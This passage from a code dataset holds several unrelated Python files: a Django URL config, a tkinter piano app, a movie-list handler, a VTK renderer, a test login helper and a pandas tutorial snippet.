in iterable)\n    print('Object Hausdorff:', np.mean(object_hausdorffs))\n\n\nprint('Reading predictions and gts ...')\npred_paths = sorted(glob.glob(osp.join(pred_root, '*.png')))\npredictions = executor(delayed(postprocess)(imread(pred_path) / 255) for pred_path in pred_paths)\ngts = executor(delayed(imread)(gt_path) for gt_path in sorted(glob.glob('/home/mrc/data/CRAG/test/masks/*.png')))\n\nprint('Saving new predictions ...')\nfor pred, pred_path in zip(predictions, pred_paths):\n    imsave(pred_path.replace(pred_root, pred_root + '-new'), (pred * 255).astype('uint8'))\n\ncompute_metrics(list(zip(predictions, gts)))\n", "repo_name": "mrcfps/WESUP", "sub_path": "scripts/evaluate_crag.py", "file_name": "evaluate_crag.py", "file_ext": "py", "file_size_in_byte": 2253, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 9, "dataset": "github-code", "pt": "81", "api": [{"api_name": "sys.path.append", "line_number": 8, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 8, "usage_type": "attribute"}, {"api_name": "pathlib.Path", "line_number": 8, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 17, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 23, "usage_type": "call"}, {"api_name": "os.path", "line_number": 23, "usage_type": "name"}, {"api_name": "os.mkdir", "line_number": 24, "usage_type": "call"}, {"api_name": "joblib.Parallel", "line_number": 26, "usage_type": "call"}, {"api_name": "os.cpu_count", "line_number": 26, "usage_type": "call"}, {"api_name": "skimage.measure.label", "line_number": 30, "usage_type": "call"}, {"api_name": "skimage.measure.label", "line_number": 36, "usage_type": "call"}, {"api_name": "joblib.delayed", "line_number": 46, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 47, "usage_type": "call"}, {"api_name": "joblib.delayed", "line_number": 49, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 50, "usage_type": "call"}, {"api_name": "joblib.delayed", "line_number": 52, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 53, "usage_type": "call"}, {"api_name": "joblib.delayed", "line_number": 55, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 56, "usage_type": "call"}, {"api_name": "joblib.delayed", "line_number": 58, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 59, "usage_type": "call"}, {"api_name": "glob.glob", "line_number": 63, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 63, "usage_type": "call"}, {"api_name": "os.path", "line_number": 63, "usage_type": "name"}, {"api_name": "joblib.delayed", "line_number": 64, "usage_type": "call"}, {"api_name": "skimage.io.imread", "line_number": 64, "usage_type": "call"}, {"api_name": "joblib.delayed", "line_number": 65, "usage_type": "call"}, {"api_name": "skimage.io.imread", "line_number": 65, "usage_type": "argument"}, {"api_name": "glob.glob", "line_number": 65, "usage_type": "call"}, {"api_name": "skimage.io.imsave", "line_number": 69, "usage_type": "call"}]}
{"seq_id": "27041913220", "text": "from django.urls import path\nfrom base.views import Singleuser\nfrom .views import (\n    CarCategoryListCreateView,\n    CarLocationListView,\n    CarSlotsListView,\n    CarListCreateView,\n    SingleCarSlotDetailView,\n    SingleCarDetailView,\n    HomeListCar,\n    HomeListLocation,\n    CarDeleteView,\n    CarUpdateView,\n    CreateCar,\n    CreateCarCategory,\n    CategoryDeleteView,\n    CategoryUpdateView,\n    ApproveCar,\n    RejectCar,\n    BlockCar,\n    MyCars,\n    SingleCarLocationDetailView,\n)\nfrom . import views\n\nurlpatterns = [\n    path(\"car-category/\", CarCategoryListCreateView.as_view(), name=\"car-category\"),\n    path(\"car/\", CarListCreateView.as_view(), name=\"car-list-create\"),\n    path(\"home-list-car/\", HomeListCar.as_view(), name=\"home-list-car\"),\n    path(\n        \"home-list-locations/\", HomeListLocation.as_view(), name=\"home-list-locations\"\n    ),\n    path(\"delete-car/<int:car_id>/\", CarDeleteView.as_view(), name=\"car-delete\"),\n    path(\"update-car/<int:car_id>/\", CarUpdateView.as_view(), name=\"car-update\"),\n    path(\"create-car/\", CreateCar.as_view(), name=\"car-create\"),\n    path(\n        \"create-car-category/\", CreateCarCategory.as_view(), name=\"car-category-create\"\n    ),\n    path(\n        \"delete-car-category/<int:cat_id>/\",\n        CategoryDeleteView.as_view(),\n        name=\"car-category-delete\",\n    ),\n    path(\n        \"update-car-category/<int:cat_id>/\",\n        CategoryUpdateView.as_view(),\n        name=\"car-category-update\",\n    ),\n    path(\"approve-car/<int:car_id>/\", ApproveCar.as_view(), name=\"car-approve\"),\n    path(\"reject-car/<int:car_id>/\", RejectCar.as_view(), name=\"car-reject\"),\n    path(\"block-car/<int:car_id>/\", BlockCar.as_view(), name=\"car-block\"),\n    path(\"my-cars/<int:user_id>/\", MyCars.as_view(), name=\"my-cars\"),\n    path(\"get-cars-by-renter/\", views.get_cars_by_renter, name=\"get-cars-by-renter\"),\n    path(\n        \"single-car/<int:id>/\", SingleCarDetailView.as_view(), name=\"single_car_detail\"\n    ),\n    path(\"singleuser/<int:pk>\", Singleuser.as_view(), name=\"singleuser\"),\n    path(\"createslots/\", views.SlotCreateAPIView.as_view(), name=\"createslots\"),\n    path(\n        \"getslots/<int:car_id>/\", views.GetCarSlots.as_view(), name=\"getCarSlotsInHome\"\n    ),\n    path(\n        \"single-slot/<int:car_id>/\",\n        SingleCarSlotDetailView.as_view(),\n        name=\"single_car_detail\",\n    ),\n    path(\"slots/<int:id>/\", CarSlotsListView.as_view(), name=\"car_slots_list\"),\n    path(\n        \"pickup-locations/<int:id>/\",\n        CarLocationListView.as_view(),\n        name=\"car_locations_list\",\n    ),\n    path(\n        \"createlocations/\",\n        views.LocationCreateAPIView.as_view(),\n        name=\"createlocations\",\n    ),\n    path(\n        \"getlocations/<int:car_id>/\",\n        views.GetCarLocation.as_view(),\n        name=\"getLocationsInHome\",\n    ),\n    path(\n        \"single-location/<int:car_id>/\",\n        SingleCarLocationDetailView.as_view(),\n        name=\"single_car_detail\",\n    ),\n]\n", "repo_name": "Rahil-Nelliyali/Drive-Now-Backend", "sub_path": "backend/cars/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 2960, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "django.urls.path", "line_number": 27, "usage_type": "call"}, {"api_name": "views.CarCategoryListCreateView.as_view", "line_number": 27, "usage_type": "call"}, {"api_name": "views.CarCategoryListCreateView", "line_number": 27, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 28, "usage_type": "call"}, {"api_name": "views.CarListCreateView.as_view", "line_number": 28, "usage_type": "call"}, {"api_name": "views.CarListCreateView", "line_number": 28, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 29, "usage_type": "call"}, {"api_name": "views.HomeListCar.as_view", "line_number": 29, "usage_type": "call"}, {"api_name": "views.HomeListCar", "line_number": 29, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 30, "usage_type": "call"}, {"api_name": "views.HomeListLocation.as_view", "line_number": 31, "usage_type": "call"}, {"api_name": "views.HomeListLocation", "line_number": 31, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 33, "usage_type": "call"}, {"api_name": "views.CarDeleteView.as_view", "line_number": 33, "usage_type": "call"}, {"api_name": "views.CarDeleteView", "line_number": 33, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 34, "usage_type": "call"}, {"api_name": "views.CarUpdateView.as_view", "line_number": 34, "usage_type": "call"}, {"api_name": "views.CarUpdateView", "line_number": 34, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 35, "usage_type": "call"}, {"api_name": "views.CreateCar.as_view", "line_number": 35, "usage_type": "call"}, {"api_name": "views.CreateCar", "line_number": 35, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 36, "usage_type": "call"}, {"api_name": "views.CreateCarCategory.as_view", "line_number": 37, "usage_type": "call"}, {"api_name": "views.CreateCarCategory", "line_number": 37, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 39, "usage_type": "call"}, {"api_name": "views.CategoryDeleteView.as_view", "line_number": 41, "usage_type": "call"}, {"api_name": "views.CategoryDeleteView", "line_number": 41, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 44, "usage_type": "call"}, {"api_name": "views.CategoryUpdateView.as_view", "line_number": 46, "usage_type": "call"}, {"api_name": "views.CategoryUpdateView", "line_number": 46, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 49, "usage_type": "call"}, {"api_name": "views.ApproveCar.as_view", "line_number": 49, "usage_type": "call"}, {"api_name": "views.ApproveCar", "line_number": 49, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 50, "usage_type": "call"}, {"api_name": "views.RejectCar.as_view", "line_number": 50, "usage_type": "call"}, {"api_name": "views.RejectCar", "line_number": 50, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 51, "usage_type": "call"}, {"api_name": "views.BlockCar.as_view", "line_number": 51, "usage_type": "call"}, {"api_name": "views.BlockCar", "line_number": 51, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 52, "usage_type": "call"}, {"api_name": "views.MyCars.as_view", "line_number": 52, "usage_type": "call"}, {"api_name": "views.MyCars", "line_number": 52, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 53, "usage_type": "call"}, {"api_name": "views.get_cars_by_renter", "line_number": 53, "usage_type": "attribute"}, {"api_name": "django.urls.path", "line_number": 54, "usage_type": "call"}, {"api_name": "views.SingleCarDetailView.as_view", "line_number": 55, "usage_type": "call"}, {"api_name": "views.SingleCarDetailView", "line_number": 55, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 57, "usage_type": "call"}, {"api_name": "base.views.Singleuser.as_view", "line_number": 57, "usage_type": "call"}, {"api_name": "base.views.Singleuser", "line_number": 57, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 58, "usage_type": "call"}, {"api_name": "views.SlotCreateAPIView.as_view", "line_number": 58, "usage_type": "call"}, {"api_name": "views.SlotCreateAPIView", "line_number": 58, "usage_type": "attribute"}, {"api_name": "django.urls.path", "line_number": 59, "usage_type": "call"}, {"api_name": "views.GetCarSlots.as_view", "line_number": 60, "usage_type": "call"}, {"api_name": "views.GetCarSlots", "line_number": 60, "usage_type": "attribute"}, {"api_name": "django.urls.path", "line_number": 62, "usage_type": "call"}, {"api_name": "views.SingleCarSlotDetailView.as_view", "line_number": 64, "usage_type": "call"}, {"api_name": "views.SingleCarSlotDetailView", "line_number": 64, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 67, "usage_type": "call"}, {"api_name": "views.CarSlotsListView.as_view", "line_number": 67, "usage_type": "call"}, {"api_name": "views.CarSlotsListView", "line_number": 67, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 68, "usage_type": "call"}, {"api_name": "views.CarLocationListView.as_view", "line_number": 70, "usage_type": "call"}, {"api_name": "views.CarLocationListView", "line_number": 70, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 73, "usage_type": "call"}, {"api_name": "views.LocationCreateAPIView.as_view", "line_number": 75, "usage_type": "call"}, {"api_name": "views.LocationCreateAPIView", "line_number": 75, "usage_type": "attribute"}, {"api_name": "django.urls.path", "line_number": 78, "usage_type": "call"}, {"api_name": "views.GetCarLocation.as_view", "line_number": 80, "usage_type": "call"}, {"api_name": "views.GetCarLocation", "line_number": 80, "usage_type": "attribute"}, {"api_name": "django.urls.path", "line_number": 83, "usage_type": "call"}, {"api_name": "views.SingleCarLocationDetailView.as_view", "line_number": 85, "usage_type": "call"}, {"api_name": "views.SingleCarLocationDetailView", "line_number": 85, "usage_type": "name"}]}
{"seq_id": "7238851362", "text": "from tkinter import *\r\nimport time\r\nimport datetime\r\nimport pygame\r\n\r\n\r\npygame.init()\r\nroot =Tk()\r\nroot.title(\"MUSIC BOX\")\r\nroot.geometry('1172x700+0+0')\r\nroot.configure(background='white')\r\n\r\n\r\n\r\nabc=Frame(root,bg=\"powderblue\",bd=10,relief=RIDGE)\r\nabc.grid()\r\n\r\n\r\nabc1=Frame(abc,bg=\"powderblue\",bd=10,relief=RIDGE)\r\nabc1.grid()\r\nabc2=Frame(abc,bg=\"powderblue\",bd=3,relief=RIDGE)\r\nabc2.grid()\r\nabc3=Frame(abc,bg=\"powderblue\",bd=0,relief=RIDGE)\r\nabc3.grid()\r\n\r\n\r\nstr1=StringVar()\r\nstr1.set(\"Just like music\")\r\nDate1=StringVar()\r\ntime1=StringVar()\r\n\r\n\r\nDate1.set(time.strftime(\"%d/%m/%Y\"))\r\ntime1.set(time.strftime(\"%H:%M:%S\"))\r\n#====================================================================================\r\ndef value_Cs():\r\n    str1.set(\"C#\")\r\n    pygame.mixer.music.load('a.mp3')\r\n    pygame.mixer.music.play(0)\r\n\r\n\r\ndef value_Cs():\r\n    str1.set(\"C#\")\r\n    pygame.mixer.music.load('a.mp3')\r\n    pygame.mixer.music.play(0)\r\n\r\n\r\n\r\ndef value_Cs():\r\n    str1.set(\"C#\")\r\n    pygame.mixer.music.load('a.mp3')\r\n    pygame.mixer.music.play(0)\r\n\r\n\r\n\r\ndef value_Cs():\r\n    str1.set(\"C#\")\r\n    pygame.mixer.music.load('a.mp3')\r\n    pygame.mixer.music.play(0)\r\n\r\n\r\ndef value_Cs():\r\n    str1.set(\"C#\")\r\n    pygame.mixer.music.load('a.mp3')\r\n    pygame.mixer.music.play(0)\r\n\r\n\r\ndef value_Cs():\r\n    str1.set(\"C#\")\r\n    pygame.mixer.music.load('a.mp3')\r\n    pygame.mixer.music.play(0)\r\n\r\n#=========================================label with title==========================\r\n\r\n\r\nLabel(abc1,text=\"Piano keys\", font=('arial',25,'bold'),padx=8,pady=8,bd=4,bg=\"powderblue\",\r\nfg=\"white\",justify=CENTER).grid(row=0,column=0,columnspan=11)\r\n\r\n\r\n#==========================================label for  second title=======================================\r\n\r\n\r\ntxtDate=Entry(abc1,textvariable=Date1, font=('arial',18,'bold'),bd=34,bg=\"powder blue\",\r\nfg=\"white\",width=28,justify=CENTER).grid(row=1,column=0,pady=1)\r\n\r\n\r\n\r\ntxtDisplay=Entry(abc1,textvariable=str1, font=('arial',18,'bold'),bd=34,bg=\"powderblue\",\r\nfg=\"white\",width=28,justify=CENTER).grid(row=1,column=1,pady=1)\r\n\r\n\r\n\r\ntxtTime=Entry(abc1,textvariable=time1, font=('arial',18,'bold'),bd=34,bg=\"powderblue\",\r\nfg=\"white\",width=28,justify=CENTER).grid(row=1,column=2,pady=1)\r\n\r\n\r\n\r\n#======================================buttons==================================================\r\n\r\n\r\nbtns1=Button(abc2,width=6,height=6,text=\"C#\",bd=4, font=('arial',18,'bold'),command=value_Cs,bg=\"black\",fg=\"white\")\r\nbtns1.grid(row=0,column=0,padx=5,pady=5)\r\nbtns2=Button(abc2,width=6,height=6,text=\"D#\",bd=4, font=('arial',18,'bold'),bg=\"black\",fg=\"white\")\r\nbtns2.grid(row=0,column=2,padx=5,pady=5)\r\n\r\nbtns3=Button(abc2,width=6,height=6,text=\"F#\",bd=4, font=('arial',18,'bold'),bg=\"black\",fg=\"white\")\r\nbtns3.grid(row=0,column=4,padx=5,pady=5)\r\n\r\nbtns4=Button(abc2,width=6,height=6,text=\"F#\",bd=4, font=('arial',18,'bold'),bg=\"black\",fg=\"white\")\r\nbtns4.grid(row=0,column=6,padx=5,pady=5)\r\nbtns5=Button(abc2,width=6,height=6,text=\"F#\",bd=4, font=('arial',18,'bold'),bg=\"black\",fg=\"white\")\r\nbtns5.grid(row=0,column=8,padx=5,pady=5)\r\nbtns6=Button(abc2,width=6,height=6,text=\"C#1\",bd=4, font=('arial',18,'bold'),bg=\"black\",fg=\"white\")\r\nbtns6.grid(row=0,column=10,padx=5,pady=5)\r\n\r\n\r\n\r\nbtns7=Button(abc2,width=6,height=6,text=\"D#1\",bd=4, font=('arial',18,'bold'),bg=\"black\",fg=\"white\")\r\nbtns7.grid(row=0,column=12,padx=5,pady=5)\r\n\r\n\r\n#=================================================white buttons================================================\r\n\r\n\r\n\r\nbtn1=Button(abc3,width=6,height=6,text=\"D#1\",bd=4, font=('arial',18,'bold'),bg=\"white\",fg=\"black\")\r\nbtn1.grid(row=0,column=0,padx=5,pady=5)\r\n\r\n\r\nbtn2=Button(abc3,width=6,height=6,text=\"D#1\",bd=4, font=('arial',18,'bold'),bg=\"white\",fg=\"black\")\r\nbtn2.grid(row=0,column=2,padx=5,pady=5)\r\n\r\n\r\nbtn3=Button(abc3,width=6,height=6,text=\"D#1\",bd=4, font=('arial',18,'bold'),bg=\"white\",fg=\"black\")\r\nbtn3.grid(row=0,column=3,padx=5,pady=5)\r\n\r\n\r\nbtn4=Button(abc3,width=6,height=6,text=\"D#1\",bd=4, font=('arial',18,'bold'),bg=\"white\",fg=\"black\")\r\nbtn4.grid(row=0,column=4,padx=5,pady=5)\r\n\r\n\r\n\r\nbtn5=Button(abc3,width=6,height=6,text=\"D#1\",bd=4, font=('arial',18,'bold'),bg=\"white\",fg=\"black\")\r\nbtn5.grid(row=0,column=5,padx=5,pady=5)\r\n\r\n\r\n\r\nbtn6=Button(abc3,width=6,height=6,text=\"D#1\",bd=4, font=('arial',18,'bold'),bg=\"white\",fg=\"black\")\r\nbtn6.grid(row=0,column=6,padx=5,pady=5)\r\n\r\n\r\n\r\nbtn7=Button(abc3,width=6,height=6,text=\"D#1\",bd=4, font=('arial',18,'bold'),bg=\"white\",fg=\"black\")\r\nbtn7.grid(row=0,column=7,padx=5,pady=5)\r\n\r\n\r\nbtn8=Button(abc3,width=6,height=6,text=\"D#1\",bd=4, font=('arial',18,'bold'),bg=\"white\",fg=\"black\")\r\nbtn8.grid(row=0,column=8,padx=5,pady=5)\r\n\r\n\r\n\r\nbtn9=Button(abc3,width=6,height=6,text=\"D#1\",bd=4, font=('arial',18,'bold'),bg=\"white\",fg=\"black\")\r\nbtn9.grid(row=0,column=9,padx=5,pady=5)\r\n\r\n\r\nbtn10=Button(abc3,width=6,height=6,text=\"D#1\",bd=4, font=('arial',18,'bold'),bg=\"white\",fg=\"black\")\r\nbtn10.grid(row=0,column=10,padx=5,pady=5)\r\n\r\n\r\n\r\nbtn11=Button(abc3,width=6,height=6,text=\"D#1\",bd=4, font=('arial',18,'bold'),bg=\"white\",fg=\"black\")\r\nbtn11.grid(row=0,column=11,padx=5,pady=5)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nroot.mainloop()", "repo_name": "prakashshubham13/piano", "sub_path": "main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 5110, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "pygame.init", "line_number": 7, "usage_type": "call"}, {"api_name": "time.strftime", "line_number": 33, "usage_type": "call"}, {"api_name": "time.strftime", "line_number": 34, "usage_type": "call"}, {"api_name": "pygame.mixer.music.load", "line_number": 38, "usage_type": "call"}, {"api_name": "pygame.mixer", "line_number": 38, "usage_type": "attribute"}, {"api_name": "pygame.mixer.music.play", "line_number": 39, "usage_type": "call"}, {"api_name": "pygame.mixer", "line_number": 39, "usage_type": "attribute"}, {"api_name": "pygame.mixer.music.load", "line_number": 44, "usage_type": "call"}, {"api_name": "pygame.mixer", "line_number": 44, "usage_type": "attribute"}, {"api_name": "pygame.mixer.music.play", "line_number": 45, "usage_type": "call"}, {"api_name": "pygame.mixer", "line_number": 45, "usage_type": "attribute"}, {"api_name": "pygame.mixer.music.load", "line_number": 51, "usage_type": "call"}, {"api_name": "pygame.mixer", "line_number": 51, "usage_type": "attribute"}, {"api_name": "pygame.mixer.music.play", "line_number": 52, "usage_type": "call"}, {"api_name": "pygame.mixer", "line_number": 52, "usage_type": "attribute"}, {"api_name": "pygame.mixer.music.load", "line_number": 58, "usage_type": "call"}, {"api_name": "pygame.mixer", "line_number": 58, "usage_type": "attribute"}, {"api_name": "pygame.mixer.music.play", "line_number": 59, "usage_type": "call"}, {"api_name": "pygame.mixer", "line_number": 59, "usage_type": "attribute"}, {"api_name": "pygame.mixer.music.load", "line_number": 64, "usage_type": "call"}, {"api_name": "pygame.mixer", "line_number": 64, "usage_type": "attribute"}, {"api_name": "pygame.mixer.music.play", "line_number": 65, "usage_type": "call"}, {"api_name": "pygame.mixer", "line_number": 65, "usage_type": "attribute"}, {"api_name": "pygame.mixer.music.load", "line_number": 70, "usage_type": "call"}, {"api_name": "pygame.mixer", "line_number": 70, "usage_type": "attribute"}, {"api_name": "pygame.mixer.music.play", "line_number": 71, "usage_type": "call"}, {"api_name": "pygame.mixer", "line_number": 71, "usage_type": "attribute"}]}
{"seq_id": "5693085988", "text": "import json\nimport csv\n\ndef get(event, context):\n    result = {}\n    with open('./data/movies.csv',encoding=\"ISO-8859-1\") as csvfile:\n        spamreader = csv.reader(csvfile)\n        next(spamreader)\n        for item in spamreader:\n            # id_name = item[0].split(\"|\")\n            result[item[0]] = item[1]\n    response = {\n        \"statusCode\": 200,\n        \"headers\":{\n            \"Access-Control-Allow-Origin\":\"*\"\n        },\n        \"body\": json.dumps(result)\n    }\n    return response\n\n", "repo_name": "unswddk/comp9417", "sub_path": "backend/movies/get.py", "file_name": "get.py", "file_ext": "py", "file_size_in_byte": 496, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "81", "api": [{"api_name": "csv.reader", "line_number": 7, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 17, "usage_type": "call"}]}
{"seq_id": "41690719786", "text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport vtk\n\ncase = \"./\"\nfilename = \"{}/system/controlDict\".format(case)\n\n#reader\nreader = vtk.vtkOpenFOAMReader()\nreader.SetFileName(filename)\nreader.Update()\n\nlatest_time = reader.GetTimeValues().GetRange()[1]\nreader.UpdateTimeStep(latest_time)\nreader.Update()\n\nblock = reader.GetOutput()\ngrid = block.GetBlock(0)\n\nfield = \"mag(U)\"\ndata_type = \"cell\"\n\nmagU = grid.GetCellData().GetArray(\"mag(U)\")\n\narray_name = \"mag(U)\"\narray = magU\n\n# filter \ngeom_filter = vtk.vtkGeometryFilter()\ngeom_filter.SetInputData(reader.GetOutput())\n\n# lookup table\nlut = vtk.vtkLookupTable()\nlut.SetHueRange(0.667,0)\nlut.Build()\n\n# mapper\nmapper = vtk.vtkCompositePolyDataMapper()\nmapper.SetInputConnection(geom_filter.GetOutputPort())\nmapper.SetScalarModeToUseCellFieldData()\nmapper.SelectColorArray(array_name)\nmapper.SetScalarRange(array.GetRange())\nmapper.SetLookupTable(lut)\n\n# actor\nactor = vtk.vtkActor()\nactor.SetMapper(mapper)\nactor.SetOrientation(0,0,0)\n\n# renderer\nren = vtk.vtkRenderer()\nren.AddActor(actor)\nren.SetBackground(1,1,1)\n\nren_win = vtk.vtkRenderWindow()\nren_win.AddRenderer(ren)\nren_win.SetSize(640,480)\n\n# interactor\ninter = vtk.vtkRenderWindowInteractor()\ninter.SetRenderWindow(ren_win)\n\n\n\nren_win.Render()\ninter.Initialize()\ninter.Start()\n", "repo_name": "maoyanjun/myCode", "sub_path": "Python/GUI/ofvtk_render.py", "file_name": "ofvtk_render.py", "file_ext": "py", "file_size_in_byte": 1292, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "81", "api": [{"api_name": "vtk.vtkOpenFOAMReader", "line_number": 10, "usage_type": "call"}, {"api_name": "vtk.vtkGeometryFilter", "line_number": 30, "usage_type": "call"}, {"api_name": "vtk.vtkLookupTable", "line_number": 34, "usage_type": "call"}, {"api_name": "vtk.vtkCompositePolyDataMapper", "line_number": 39, "usage_type": "call"}, {"api_name": "vtk.vtkActor", "line_number": 47, "usage_type": "call"}, {"api_name": "vtk.vtkRenderer", "line_number": 52, "usage_type": "call"}, {"api_name": "vtk.vtkRenderWindow", "line_number": 56, "usage_type": "call"}, {"api_name": "vtk.vtkRenderWindowInteractor", "line_number": 61, "usage_type": "call"}]}
{"seq_id": "23748731826", "text": "import requests\n\n#cookie or session 登录态获取方式\nclass Login:\n\n    def __init__(self):\n        self.base_url = 'http://10.12.21.115:61021/jgj/api/user/login'\n        self.smg_url = 'http://10.12.21.115:61021/jgj/api/user/smgsend'\n        self.body_login = {\"captcha\": \"1234\",\n                      \"mobile\": \"13058019302\",\n                      \"password\": \"BxOqKRgGgnfbQp6kLhIdm8jlbMIT8xcK/WpFx0CzJIeSQHyhjrGjSGf4FmMlZ2pdJn9HgirwlClcKf1aHjPSAd9SkSe9Nztkk10L9G6aUDL84e1zKMjXRoeF3g3inkNtBZfkf8YYFUDdTydDulKNpIQRpZuHu83NnG7isr57tkBwg9/fVPIG6P7Irf/35TcH9/s2NeV7hyBCWuDn4Zt6ueaSVjdfJ8u6iklkaqsNpwLDizKPoqoNnaDc/MWGj4zlnqdJJpAxQroRZ8+1AMbsY6bpQTCyI7gQNoq4BCOfz/owRZNEUaaRi/cSMcMUKiJoDWUl/MBnFKx1QSxjGbsQLQ==\"}\n        self.body_smg = {\n            \"mobile\": \"13058019302\",\n            \"type\": \"1\"\n        }\n        self.header = {}\n\n\n    def get_session(self):\n\n        test_session = requests.session()\n        r_smg = requests.post (self.smg_url, data=self.body_smg, headers=self.header)\n        login = test_session.post(self.base_url, data=self.body_login, headers=self.header)\n        return test_session\n\n    def get_cookie(self):\n\n        r_smg = requests.post (self.smg_url, data=self.body_smg, headers=self.header)\n        r = requests.post (self.base_url, data=self.body_login, headers=self.header)\n        result = r.json ()\n        cookie = r.cookies\n        return cookie\n\nif __name__ == \"__main__\":\n    a = Login()\n    a.get_cookie ()\n", "repo_name": "slp520/AutoTest", "sub_path": "common/common_login.py", "file_name": "common_login.py", "file_ext": "py", "file_size_in_byte": 1453, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "requests.session", "line_number": 21, "usage_type": "call"}, {"api_name": "requests.post", "line_number": 22, "usage_type": "call"}, {"api_name": "requests.post", "line_number": 28, "usage_type": "call"}, {"api_name": "requests.post", "line_number": 29, "usage_type": "call"}]}
{"seq_id": "41300069828", "text": "#Data science foundations part 2\r\n\r\n#LAMBDA FUNCTIONS\r\n\r\n#Write your lambda function here\r\ncontains_a = lambda word : \"a\" in word\r\nprint(contains_a(\"banana\"))\r\nprint(contains_a(\"apple\"))\r\nprint(contains_a(\"cherry\"))\r\n\r\n#Write your lambda function here\r\nlong_string = lambda str : len(str) > 12\r\nprint(long_string(\"short\"))\r\nprint(long_string(\"photosynthesis\"))\r\n\r\n#Write your lambda function here\r\nends_in_a = lambda str : str[-1] == \"a\"\r\nprint(ends_in_a(\"data\"))\r\nprint(ends_in_a(\"aardvark\"))\r\n\r\n#Write your lambda function here\r\ndouble_or_zero = lambda num : 2*num if num > 10 else 0\r\nprint(double_or_zero(15))\r\nprint(double_or_zero(5))\r\n\r\n#Write your lambda function here\r\neven_or_odd = lambda num : \"even\" if num % 2 == 0 else \"odd\"\r\nprint(even_or_odd(10))\r\nprint(even_or_odd(5))\r\n\r\n#Write your lambda function here\r\nmultiple_of_three = lambda num : \"multiple of three\" if num % 3 == 0 else \"not a multiple\"\r\nprint(multiple_of_three(9))\r\nprint(multiple_of_three(10))\r\n\r\n#Write your lambda function here\r\nrate_movie = lambda rating : \"I liked this movie\" if rating > 8.5 else \"This movie was not very good\"\r\nprint(rate_movie(9.2))\r\nprint(rate_movie(7.2))\r\n\r\n#Write your lambda function here\r\nones_place = lambda num : num % 10 \r\nprint(ones_place(123))\r\nprint(ones_place(4))\r\n\r\n#Write your lambda function here\r\ndouble_square = lambda num : 2 * (num**2) \r\nprint(double_square(5))\r\nprint(double_square(3))\r\n\r\nimport random\r\n#Write your lambda function here\r\nadd_random = lambda num : num + random.randint(1,10)\r\nprint(add_random(5))\r\nprint(add_random(100))\r\n\r\n#DATAFRAMES BASICS\r\n\r\n#import codecademylib3\r\nimport pandas as pd\r\n\r\ndf1 = pd.DataFrame({\r\n  'Product ID': [1, 2, 3, 4],\r\n  # add Product Name and Color here\r\n  'Product Name': [\"t-shirt\",\"t-shirt\",\"skirt\",\"skirt\"],\r\n  \"Color\": [\"blue\",\"green\",\"red\",\"black\"]\r\n})\r\nprint(df1)\r\n#pass in data as a list of lists \r\ndf2 = pd.DataFrame([\r\n  [1, 'San Diego', 100],\r\n  [2, 'Los Angeles', 120],\r\n  [3,\"San Francisco\",90],\r\n  [4,\"Sacramento\",115]\r\n],\r\n  columns=[\"Store ID\",\r\n    \"Location\",\r\n    \"Number of Employees\"\r\n  ])\r\nprint(df2)\r\n\r\n#read a csv file into a dataframe \r\n#df = pd.read_csv(\"sample.csv\")\r\n#print(df)\r\n\r\ndf = pd.DataFrame([\r\n  ['January', 100, 100, 23, 100],\r\n  ['February', 51, 45, 145, 45],\r\n  ['March', 81, 96, 65, 96],\r\n  ['April', 80, 80, 54, 180],\r\n  ['May', 51, 54, 54, 154],\r\n  ['June', 112, 109, 79, 129]],\r\n  columns=['month', 'clinic_east',\r\n           'clinic_north', 'clinic_south',\r\n           'clinic_west']\r\n)\r\nclinic_north = df[\"clinic_north\"]\r\nprint(type(clinic_north)) #type: series (column)\r\nprint(type(df)) #type: frame (dataframe)\r\n\r\nclinic_north_south = df[[\"clinic_north\",\"clinic_south\"]]\r\nprint(type(clinic_north_south)) #type: frame as two columns\r\n\r\nmarch = df.iloc[2] #selects the row of \"March\", which is the 3rd row (index 2)\r\nprint(march)\r\n\r\napril_may_june = df[3:] #selects from the 3rd row onwards (inclusive)\r\nprint(april_may_june)\r\n\r\njanuary = df[df[\"month\"] == \"January\"] #logic condition to select the month of January \r\nprint(january)\r\n\r\nmarch_april = df[(df[\"month\"] == \"March\")|\r\n(df[\"month\"] == \"April\")] 